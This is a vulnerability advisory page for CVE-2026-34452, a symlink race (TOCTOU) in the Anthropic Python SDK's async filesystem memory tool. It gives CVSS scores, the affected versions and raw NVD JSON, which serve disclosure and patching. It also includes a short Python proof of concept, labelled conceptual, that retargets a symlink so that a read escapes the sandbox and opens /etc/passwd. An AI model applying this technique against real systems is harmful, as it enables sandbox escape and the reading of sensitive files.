Security Vulnerability Report
中文
CVE-2026-34452 CVSS 5.3 MEDIUM

CVE-2026-34452

Published: 2026-03-31 22:16:20
Last Modified: 2026-04-20 13:34:05

Description

The Claude SDK for Python provides access to the Claude API from Python applications. From version 0.86.0 to before version 0.87.0, the async local filesystem memory tool in the Anthropic Python SDK validated that model-supplied paths resolved inside the sandboxed memory directory, but then returned the unresolved path for subsequent file operations. A local attacker able to write to the memory directory could retarget a symlink between validation and use, causing reads or writes to escape the sandbox. The synchronous memory tool implementation was not affected. This issue has been patched in version 0.87.0.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:anthropic:claude_sdk_for_python:*:*:*:*:*:python:*:* - VULNERABLE
Anthropic Python SDK >= 0.86.0, < 0.87.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import os import time # Conceptual PoC for CVE-2026-34452 (TOCTOU in Async Filesystem Tool) # This script simulates the race condition where an attacker swaps a symlink. # Path to the sandboxed memory directory SANDBOX_DIR = "/tmp/anthropic_sandbox" # Target file inside sandbox (initially) SAFE_FILE = os.path.join(SANDBOX_DIR, "safe_data.txt") # Target file outside sandbox (final target) SENSITIVE_FILE = "/etc/passwd" # The symlink the SDK will interact with SYMLINK_PATH = os.path.join(SANDBOX_DIR, "model_link") def setup(): os.makedirs(SANDBOX_DIR, exist_ok=True) with open(SAFE_FILE, 'w') as f: f.write("This is safe data.") # Create symlink pointing inside sandbox os.symlink(SAFE_FILE, SYMLINK_PATH) print(f"[+] Setup: Created symlink {SYMLINK_PATH} -> {SAFE_FILE}") def simulate_exploit(): print("[+] Starting exploit simulation...") # 1. Attacker waits for the SDK to trigger validation (Check phase) # In a real scenario, this would be concurrent with the SDK's async operation print("[+] Waiting for SDK validation (Check phase)...") # Assume SDK checks the path now and sees it points to SAFE_FILE # 2. Race Condition Window: Swap the symlink before Use phase print("[!] Swapping symlink to point outside sandbox...") os.remove(SYMLINK_PATH) os.symlink(SENSITIVE_FILE, SYMLINK_PATH) print(f"[+] Symlink now points to: {SENSITIVE_FILE}") # 3. SDK performs read/write operation (Use phase) using the unresolved path # Because the path was unresolved in SDK, it re-resolves here to SENSITIVE_FILE with open(SYMLINK_PATH, 'r') as f: content = f.read() print(f"[!] Successfully read data from outside sandbox: {content[:50]}...") if __name__ == "__main__": setup() simulate_exploit() # Cleanup os.remove(SYMLINK_PATH)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34452", "sourceIdentifier": "[email protected]", "published": "2026-03-31T22:16:20.320", "lastModified": "2026-04-20T13:34:05.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Claude SDK for Python provides access to the Claude API from Python applications. From version 0.86.0 to before version 0.87.0, the async local filesystem memory tool in the Anthropic Python SDK validated that model-supplied paths resolved inside the sandboxed memory directory, but then returned the unresolved path for subsequent file operations. A local attacker able to write to the memory directory could retarget a symlink between validation and use, causing reads or writes to escape the sandbox. The synchronous memory tool implementation was not affected. This issue has been patched in version 0.87.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.0, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-59"}, {"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:anthropic:claude_sdk_for_python:*:*:*:*:*:python:*:*", "versionStartIncluding": "0.86.0", "versionEndExcluding": "0.87.0", "matchCriteriaId": "F8729891-B554-4F1D-AD6B-EA089F7E6AB0"}]}]}], "references": [{"url": "https://github.com/anthropics/anthropic-sdk-python/commit/6599043eee6e86dce16953fcd1fd828052052be6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/anthropics/anthropic-sdk-python/releases/tag/v0.87.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/anthropics/anthropic-sdk-python/security/advisories/GHSA-w828-4qhx-vxx3", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}